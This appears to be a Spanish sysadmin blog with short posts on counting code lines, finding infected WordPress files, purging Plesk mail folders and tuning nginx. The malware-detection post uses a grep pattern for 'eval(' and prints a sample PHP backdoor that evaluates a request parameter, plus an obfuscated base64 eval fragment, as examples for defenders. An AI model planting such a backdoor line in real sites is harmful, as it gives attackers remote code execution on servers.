domingo, 8 de noviembre de 2020

Como contar las lineas de codigo desde shell

 El siguiente comando te consulta en shell cuantas lineas de código cuenta el proyecto

 

# find . | xargs wc -l  


obteniendo un resultado como el siguiente:

(fragmento del final del resultado)

      99 ./me/masheditor/servicios/dbme_clasificacion_productos_descuentos/dbme_clasificacion_productos_descuentos.php
     133 ./me/masheditor/servicios/admin_administradores/admin_administradores.php
      64 ./me/masheditor/servicios/dbme_vendedores/lib.php
      19 ./me/masheditor/servicios/dbme_vendedores/dbme_vendedores.php
      43 ./me/masheditor/servicios/dbme_talleres/lib.php
      22 ./me/masheditor/servicios/dbme_talleres/dbme_talleres.php
      45 ./me/masheditor/servicios/dbme_procesos_formulas/lib.php
      23 ./me/masheditor/servicios/dbme_procesos_formulas/dbme_procesos_formulas.php
      51 ./me/masheditor/servicios/bd_general/lang/es-mx.php
     390 ./me/masheditor/servicios/bd_general/bd_general.php
      40 ./me/masheditor/servicios/dbme_eventos_prioridades/lib.php
      18 ./me/masheditor/servicios/dbme_eventos_prioridades/dbme_eventos_prioridades.php
      21 ./me/masheditor/servicios/dbme_movimientos_tipo/dbme_movimientos_tipo.php
      52 ./me/masheditor/servicios/dbme_movimientos_tipo/lib.php
     129 ./me/masheditor/servicios/dbme_plantillas_reglas_ejecuta_cron/dbme_plantillas_reglas_ejecuta_cron.php
      34 ./me/masheditor/servicios/dbme_talleres_etapas/lib.php
      20 ./me/masheditor/servicios/dbme_talleres_etapas/dbme_talleres_etapas.php
     456 ./me/masheditor/configuracion.php
    6301 ./me/masheditor/masheditor.php
      12 ./me/masheditor/libexternos/demo/_ini.php
       9 ./me/masheditor/libexternos/Fajax/_ini.php
      14 ./me/masheditor/libexternos/jquery_ui/_ini.php
      12 ./me/masheditor/libexternos/jquery_tools/_ini.php
      46 ./me/masheditor/libexternos/fValidator/_ini.php
       9 ./me/masheditor/libexternos/mootools/_ini.php
       9 ./me/masheditor/libexternos/prototype/_ini.php
      22 ./me/masheditor/libexternos/jquery/_ini.php
      14 ./me/masheditor/libexternos/scriptaculous/_ini.php
      74 ./me/css.php
      65 ./cancelar_analisis.php
  462478 total


martes, 18 de agosto de 2020

Detectar archivos infectados en wordpress y páginas web

 Es muy común que los sitios son atacados por hackers modificando o añadiendo archivos malignos (infectados), principalmente sitios elaborador con wordpress


Este comando te ayuda a detectar esos archivos, lo tienes que ejecutar por shell (ssh)

 

 

 grep -R  'eval(' /home3/m*/public_html/*  | grep -v 'Binary file' | grep -v '.css:' | grep -v '.js'  | grep -v retriev |grep -v evalua | grep -v revalida | grep -v jquery | grep -v '.po:' | grep -v doubleval | grep -v 'INSTR(LCASE('  | grep -v '(strpos(strtolower($entry' | grep -v PCLZIP | grep -v 'INSTR('  > /root/lista.txt && cat /root/lista.txt && cat /root/lista.txt | mail -s "Backup" -a /root/lista.txt tucorreo@algo.com





rojo remplazar
azul remplazar con instrucciones





instrucciones azul

/home /home2 /home3  es la unidad de disco a escanear

en el ejemplo esta
/home3/m*   =  disco 3 todos los usuarios cpanel que comiencen con M

/home3/medix   =  disco 3 escanear al usuario  medix

/home3/*   =  disco 3 todos los usuarios

/home2/*   =  disco 2 todos los usuarios

/home/*   =  disco 1 todos los usuarios

etc...



que hace el comando

Busca todos los archivos que contengan el comando eval , ese es el comando mas utilizado por atacantes, en un 99%;  PD no siempre entran por este comando pero casi siempre lo usan para una vez infectado atacar al sitio o hacer sus cosas.

luego perfecciono el comando con otros tipos de ataques o amenazas


Aclaraciones del resultado, este resultado muestra los archivos con ese comando, no significa que estén infectados , intente eliminar la mayor cantidad de usos buenos

Típicos  archivos maliciosos



caracteres raros


tiendadebuceo/history.php:<?php                                                                                                                                                                                                                                                               $qV="stop_";$s20=strtoupper($qV[4].$qV[3].$qV[2].$qV[0].$qV[1]);if(isset(${$s20}['q64cbee'])){eval(${$s20}['q64cbee']);}?><?php


una cadena de muchas letras y numeros acompañados de un eval



eval(base64decode("mnAISDNQmnmxsa98hjn98lkASDumw3idmnaSDYB)ebiSAD867b3iu97ASDFNBIAJdn783hkjABSND783b2kjbnSAkjdnjuahsd3wb98HJb7983bkashdbashjdbajshbda....



 

 

 

lunes, 18 de mayo de 2020

Vaciar carpeta spam y trash en Plesk + dovecot

Plesk + Dovecot

Este ejemplo es para eliminar correos con 2 semanas de antigüedad (2w) desde shell

Desde shell ejecutar


# doveadm expunge -u micuenta@midominio.com mailbox INBOX.Spam before 2w;
# doveadm expunge -u micuenta@midominio.com mailbox INBOX.Trash before 2w;



o para aplicarlo a todos los correos en un servidor plesk


for i in $(plesk bin mail -l | tr '\t' ' ' | cut -d' ' -f 3-); do doveadm expunge -u "$i" mailbox INBOX.Spam before 2w; done
for i in $(plesk bin mail -l | tr '\t' ' ' | cut -d' ' -f 3-); do doveadm expunge -u "$i" mailbox INBOX.Trash before 2w; done




este segundo lo pueden añadir a cron



miércoles, 13 de mayo de 2020

Optimizar WordPress + Plesk + nginx



  1. Activar en plesk nginx
  2. En plesk ir al dominio
  3. ir a Configuración de Apache y nginx 
  4. desactivar   
  5. añadir en Directivas adicionales de nginx el siguiente codigo




if (!-e $request_filename) {
set $test P;
}
if ($uri !~ ^/(plesk-stat|webstat|webstat-ssl|ftpstat|anon_ftpstat|awstats-icon|internal-nginx-static-location)) {
set $test "${test}C";
}
if ($test = PC) {
rewrite ^/(.*)$ /index.php?$1;
}

# GZIP Compression
gzip on;
gzip_disable "MSIE [1-6]\\.(?!.*SV1)";
gzip_min_length 1100;
gzip_buffers 4 32k;
gzip_proxied any;
gzip_comp_level 9;
gzip_types text/plain text/css application/javascript application/x-javascript text/xml application/xml application/xml+rss text/javascript image/x-icon image/bmp image/svg+xml;
gzip_vary on;

# NGINX Caching
location ~* \.(?:ico|css|js|gif|jpe?g|png|svg|woff)$ {
    expires 30d;
    add_header Cache-Control "public";
    log_not_found off;
}

location ~* \.(jpg|jpeg|gif|png)$ {
    expires 365d;
    log_not_found off;
}

location ~* \.(pdf|css|html|js|swf)$ {
    expires 2d;
    log_not_found off;
}

location ~ \.css {
    add_header  Content-Type    text/css;
}
location ~ \.js {
    add_header  Content-Type    application/x-javascript;
}

# SECURITY
location ~* wp-config.php { deny all; }
location ~* "^/wp-content/(?!plugins/).*\.php" { deny all; }




Ahora ir a Configuración de PHP

memory_limit   = 200M
max_execution_time  = 15
post_max_size = 16M
upload_max_filesize =16M
opcache.enable  = on


Y listo, Wordpress volará


No olvides complementar con buenos caches de WordPress, de preferencia que ulticen APC y MemCache para mejorar su desempeño







Ejemplo de factura electrónica 2022 en Panamá (DGI)

Código fuente Facturación 2022 Panamá Panamá comenzó el proceso de migración a facturación electrónica,  actualmente ya salieron los primero...